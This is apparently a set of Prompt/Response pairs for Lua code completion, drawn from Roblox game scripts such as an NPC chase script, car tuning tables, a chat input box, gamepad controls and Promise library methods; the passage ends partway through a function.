Prompt: -- Listeners for inputs

Response:
IsOn.Changed:connect(ConfigWater)
ShouldEmitSound.Changed:connect(ConfigWater)
MaxVolume.Changed:connect(ConfigWater)


Prompt: -- add the arms

Response:
table.insert(ArmPartsTable, Character:WaitForChild("Right Arm"))
table.insert(ArmPartsTable, Character:WaitForChild("Left Arm"))


Prompt:
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]

Response:
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=400;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(5000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=40.50;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=1300;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;


Prompt: --Tune

Response:
OverheatSpeed = .125 --How fast the car will overheat
CoolingEfficiency = .075 --How fast the car will cool down
RunningTemp = 85 --In degrees

Fan = true --Cooling fan
FanTemp = 105 --At what temperature the cooling fan will activate
FanSpeed = .2
FanVolume = .25

BlowupTemp = 130 --At what temperature the engine will blow up


Prompt:
----------------------------------
------------VARIABLES-------------
----------------------------------

Response:
User = nil
Connector = game.Workspace:FindFirstChild("GlobalPianoConnector")
if not Connector or not Connector:IsA("RemoteEvent") then
	error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.")
end


Prompt: -- (EarthHelm Giver - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "EarthHelm"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(1, 0.4, 1)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentForward = Vector3.new (-0, -0, -1)
		h.AttachmentPos = Vector3.new(0, -0.2, 0)
		h.AttachmentRight = Vector3.new (1, 0, 0)
		h.AttachmentUp = Vector3.new (0, 1, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: -- Services

Response:
local ContextActionService = game:GetService("ContextActionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")


Prompt: -- ROBLOX deviation start: predefine functions

Response:
local comparePrimitive
local compareObjects
local getFormatOptions
local getObjectsDifference


Prompt: --None of this is mine...

Response:
script.Parent.Equipped:Connect(function()
	script.Parent.WAP.act:FireServer()
end)

script.Parent.Unequipped:Connect(function()
	script.Parent.WAP.dct:FireServer()
end)


Prompt:
--[=[
	Chains onto an existing Promise and returns a new Promise.

	:::warning
	Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first.
	:::

	You can return a Promise from the success or failure handler and it will be chained onto.

	Calling `andThen` on a cancelled Promise returns a cancelled Promise.

	:::tip
	If the Promise returned by `andThen` is cancelled, `successHandler` and `failureHandler` will not run.

	To run code no matter what, use [Promise:finally].
	:::

	@param successHandler (...: any) -> ...any
	@param failureHandler? (...: any) -> ...any
	@return Promise<...any>
]=]

Response:
function Promise.prototype:andThen(successHandler, failureHandler)
	assert(successHandler == nil or isCallable(successHandler), string.format(ERROR_NON_FUNCTION, "Promise:andThen"))
	assert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, "Promise:andThen"))

	return self:_andThen(debug.traceback(nil, 2), successHandler, failureHandler)
end


Prompt: -- Basic settings

Response:
local MAX_SPAM_SCORE = 5

local plr = game.Players.LocalPlayer
local tweenService = game:GetService("TweenService")
local inputService = game:GetService("UserInputService")

local defaultMsg = "To chat navigate here and click"
local previousText = script.Parent.TypeArea.Text
local size = 1
local tweenInProgress = false
local spamScore = 0

function tweenToVisible()

	-- Tween transparencies
	local goal1 = { BackgroundTransparency = 0.6 }
	local goal2 = { TextTransparency = 0.3 }
	tweenService:Create(script.Parent, TweenInfo.new(0.35, Enum.EasingStyle.Linear), goal1):Play()
	tweenService:Create(script.Parent.WhiteArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal1):Play()
	tweenService:Create(script.Parent.TypeArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal2):Play()

end

function tweenToInvisible()

	-- Tween transparencies
	local goal1 = { BackgroundTransparency = 0.8 }
	local goal2 = { TextTransparency = 0.65 }
	tweenService:Create(script.Parent, TweenInfo.new(0.35, Enum.EasingStyle.Linear), goal1):Play()
	tweenService:Create(script.Parent.WhiteArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal1):Play()
	tweenService:Create(script.Parent.TypeArea, TweenInfo.new(0.5, Enum.EasingStyle.Linear), goal2):Play()

end

function tweenToTripleSize()

	-- Tween size
	tweenInProgress = true
	local goal = { Size = UDim2.new(0.5, -230 , 0, 72) }
	local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
	tween.Completed:connect(function()
		tweenInProgress = false
	end)
	tween:Play()

end

function tweenToDoubleSize()

	-- Tween size
	tweenInProgress = true
	local goal = { Size = UDim2.new(0.5, -230 , 0, 56) }
	local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
	tween.Completed:connect(function()
		tweenInProgress = false
	end)
	tween:Play()

end

function tweenToNormalSize()

	-- Tween size
	tweenInProgress = true
	local goal = { Size = UDim2.new(0.5, -230 , 0, 40) }
	local tween = tweenService:Create(script.Parent, TweenInfo.new(0.05, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), goal)
	tween.Completed:connect(function()
		tweenInProgress = false
	end)
	tween:Play()

end

script.Parent.TypeArea.Focused:connect(function()

	-- Reset text if default
	if script.Parent.TypeArea.Text == defaultMsg then
		script.Parent.TypeArea.Text = ""
	end

	-- Make more visible
	tweenToVisible()

end)

script.Parent.TypeArea.FocusLost:connect(function(enterPressed)

	-- Check if enter was pressed
	if enterPressed then

		-- Clear spaces at beginning
		local msg = script.Parent.TypeArea.Text
		for i=1, string.len(script.Parent.TypeArea.Text) do
			if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' and i < string.len(script.Parent.TypeArea.Text) then
				msg = string.sub(script.Parent.TypeArea.Text, i + 1, string.len(script.Parent.TypeArea.Text))
			else
				if string.sub(script.Parent.TypeArea.Text, i, i) == ' ' then
					msg = ""
				end
				break
			end
		end

		-- Clear spaces at end
		if msg ~= "" then
			local prevMsg = msg
			for i=string.len(prevMsg), 1, -1 do
				if string.sub(prevMsg, i, i) == ' ' and i > 1 then
					msg = string.sub(prevMsg, 1, i - 1)
				else
					if string.sub(prevMsg, i, i) == ' ' then
						msg = ""
					end
					break
				end
			end
		end

		-- Send message if not blank
		if msg ~= "" and spamScore <= MAX_SPAM_SCORE then
			game.ReplicatedStorage.Interactions.Server.SendChatMessage:FireServer(msg)
			spamScore = spamScore + 2
		elseif msg ~= "" and spamScore > MAX_SPAM_SCORE then
			plr.PlayerGui.MainGui.Chat.ShowChatMessage:Fire(nil, "You are chatting too quickly. You can chat again in " .. spamScore - MAX_SPAM_SCORE .. " seconds.")
		end

		-- Clear set text to default text
		script.Parent.TypeArea.Text = defaultMsg

	else

		-- Set to default if blank
		if script.Parent.TypeArea.Text == "" then
			script.Parent.TypeArea.Text = defaultMsg
		end

	end

	-- Make less visible
	tweenToInvisible()

end)

script.Parent.TypeArea:GetPropertyChangedSignal("Text"):connect(function()

	-- Check if went out of bounds
	if not tweenInProgress then
		if not script.Parent.TypeArea.TextFits and size == 1 then
			tweenToDoubleSize()
			size = 2
		elseif not script.Parent.TypeArea.TextFits and size == 2 then
			tweenToTripleSize()
			size = 3
		elseif not script.Parent.TypeArea.TextFits and size == 3 then
			script.Parent.TypeArea.Text = previousText
		elseif size > 2 and script.Parent.TypeArea.TextBounds.Y == 32 then
			tweenToDoubleSize()
			size = 2
		elseif size > 1 and script.Parent.TypeArea.TextBounds.Y == 16 then
			tweenToNormalSize()
			size = 1
		end
	end

	-- Set previous text
	previousText = script.Parent.TypeArea.Text

end)


Prompt:
-- This function selects the lowest number gamepad from the currently-connected gamepad
-- and sets it as the active gamepad

Response:
function Gamepad:GetHighestPriorityGamepad()
	local connectedGamepads = UserInputService:GetConnectedGamepads()
	local bestGamepad = NONE -- Note that this value is higher than all valid gamepad values
	for _, gamepad in pairs(connectedGamepads) do
		if gamepad.Value < bestGamepad.Value then
			bestGamepad = gamepad
		end
	end
	return bestGamepad
end

function Gamepad:BindContextActions()

	if self.activeGamepad == NONE then
		-- There must be an active gamepad to set up bindings
		return false
	end

	local handleJumpAction = function(actionName, inputState, inputObject)
		self.isJumping = (inputState == Enum.UserInputState.Begin)
		return Enum.ContextActionResult.Sink
	end

	local handleThumbstickInput = function(actionName, inputState, inputObject)

		if inputState == Enum.UserInputState.Cancel then
			self.moveVector = ZERO_VECTOR3
			return Enum.ContextActionResult.Sink
		end

		if self.activeGamepad ~= inputObject.UserInputType then
			return Enum.ContextActionResult.Pass
		end
		if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end

		if inputObject.Position.magnitude > thumbstickDeadzone then
			self.moveVector  =  Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
		else
			self.moveVector = ZERO_VECTOR3
		end
		return Enum.ContextActionResult.Sink
	end

	ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
	ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false,
		self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA)
	ContextActionService:BindActionAtPriority("moveThumbstick", handleThumbstickInput, false,
		self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1)

	return true
end

function Gamepad:UnbindContextActions()
	if self.activeGamepad ~= NONE then
		ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
	end
	ContextActionService:UnbindAction("moveThumbstick")
	ContextActionService:UnbindAction("jumpAction")
end

function Gamepad:OnNewGamepadConnected()
	-- A new gamepad has been connected.
	local bestGamepad = self:GetHighestPriorityGamepad()

	if bestGamepad == self.activeGamepad then
		-- A new gamepad was connected, but our active gamepad is not changing
		return
	end

	if bestGamepad == NONE then
		-- There should be an active gamepad when GamepadConnected fires, so this should not
		-- normally be hit. If there is no active gamepad, unbind actions but leave
		-- the module enabled and continue to listen for a new gamepad connection.
		warn("Gamepad:OnNewGamepadConnected found no connected gamepads")
		self:UnbindContextActions()
		return
	end

	if self.activeGamepad ~= NONE then
		-- Switching from one active gamepad to another
		self:UnbindContextActions()
	end

	self.activeGamepad = bestGamepad
	self:BindContextActions()
end

function Gamepad:OnCurrentGamepadDisconnected()
	if self.activeGamepad ~= NONE then
		ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
	end

	local bestGamepad = self:GetHighestPriorityGamepad()

	if self.activeGamepad ~= NONE and bestGamepad == self.activeGamepad then
		warn("Gamepad:OnCurrentGamepadDisconnected found the supposedly disconnected gamepad in connectedGamepads.")
		self:UnbindContextActions()
		self.activeGamepad = NONE
		return
	end

	if bestGamepad == NONE then
		-- No active gamepad, unbinding actions but leaving gamepad connection listener active
		self:UnbindContextActions()
		self.activeGamepad = NONE
	else
		-- Set new gamepad as active and bind to tool activation
		self.activeGamepad = bestGamepad
		ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2)
	end
end

function Gamepad:ConnectGamepadConnectionListeners()
	self.gamepadConnectedConn = UserInputService.GamepadConnected:Connect(function(gamepadEnum)
		self:OnNewGamepadConnected()
	end)

	self.gamepadDisconnectedConn = UserInputService.GamepadDisconnected:Connect(function(gamepadEnum)
		if self.activeGamepad == gamepadEnum then
			self:OnCurrentGamepadDisconnected()
		end
	end)

end

function Gamepad:DisconnectGamepadConnectionListeners()
	if self.gamepadConnectedConn then
		self.gamepadConnectedConn:Disconnect()
		self.gamepadConnectedConn = nil
	end

	if self.gamepadDisconnectedConn then
		self.gamepadDisconnectedConn:Disconnect()
		self.gamepadDisconnectedConn = nil
	end
end

return Gamepad


Prompt: --- Returns an ArgumentContext for the specific index

Response:
function Command:GetArgument (index)
	return self.Arguments[index]
end


Prompt:
--I M P O R T A N T--
------------------------------------------------------------------------
--Don't change any of this unless you know what you are doing.
--This script is the blur affect but also the exit button script.
------------------------------------------------------------------------

Response:
local blur = game.Lighting.Blur
local frame = script.Parent
local close = script.Parent:WaitForChild("CloseButton")

if
	frame.Visible == true
then
	blur.Enabled = true
end

close.MouseButton1Click:Connect(function()
	frame.Visible = false
	blur.Enabled = false
end)


Prompt: --The "Creative" option makes it so you can jump infinitly (True if yes, False if no)

Response:
repeat wait() until Game:GetService("Players")
local Player = Game.Players.LocalPlayer

repeat wait() until Player

local FirstJump = false
local MidJump = false
local Mouse = Player:GetMouse()
TING = false
function onKeyDown(key)
if string.byte(key) == 32 and FirstJump == true and not TING and (MidJump == false or script.Creative.Value == true) then
TING = true
MidJump = true
Player.Character.Torso.Velocity = Vector3.new(0,85,0) --How high Player jumps
Player.Character.Humanoid.WalkSpeed = 36 -- This change the walkspeed
script.Jump1:Play()
wait(1.1) --Double Jump cooldown (Not normal jump)
TING = false
end
end


Prompt:
-- upstream: https://github.com/facebook/react/blob/b61174fb7b09580c1ec2a8f55e73204b706d2935/packages/shared/ReactSymbols.js
--!strict
--[[*
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @flow
 ]]


Prompt:
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>

	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here

Response:
MakeWeld(misc.Popups.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Popups.Parts,misc.Popups.Hinge)


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"

	--Differential Settings
	Tune.FDiffSlipThres	= 80		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 20		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 75		-- 1 - 100%
	Tune.RDiffLockThres	= 25		-- 0 - 100%
	Tune.CDiffSlipThres	= 80		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 20		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 0		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 15	-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 6		-- Minimum amount of torque at max reduction (in percent)


Prompt:
--[=[
	Initializes a new promise with the given function in a delay wrapper.

	@param seconds number
	@param func (resolve: (...) -> (), reject: (...) -> ()) -> ()?
	@return Promise<T>
]=]

Response:
function Promise.delay(seconds, func)
	assert(type(seconds) == "number", "Bad seconds")
	assert(type(func) == "function", "Bad func")

	local self = Promise.new()

